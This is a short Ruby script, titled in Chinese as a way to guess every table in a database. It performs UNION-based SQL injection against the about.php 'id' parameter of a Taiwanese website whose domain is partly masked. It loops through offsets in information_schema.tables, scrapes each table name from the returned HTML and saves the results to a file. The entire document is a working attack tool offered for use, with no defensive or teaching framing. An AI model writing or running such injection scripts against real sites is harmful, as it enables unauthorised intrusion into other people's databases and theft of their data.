猜数据库某个库的所有表

require 'http'

f = open'a.txt','a'
[*0..100].each do |num|
  url = "http://www.xxx.com.tw/about.php?id=-1%20union%20select%201,2,3,4,5,6,table_name,8,9%20from%20%20information_schema.tables%20where%20table_schema%20=%20database()%20limit%20#{num},1--%20-"
  html = HTTP.get url
  #puts html
   /<div class="loc_body">\n(.*?)<\/div>/ =~ html.to_s
    puts $1
    f.puts $1.strip
    f.flush
end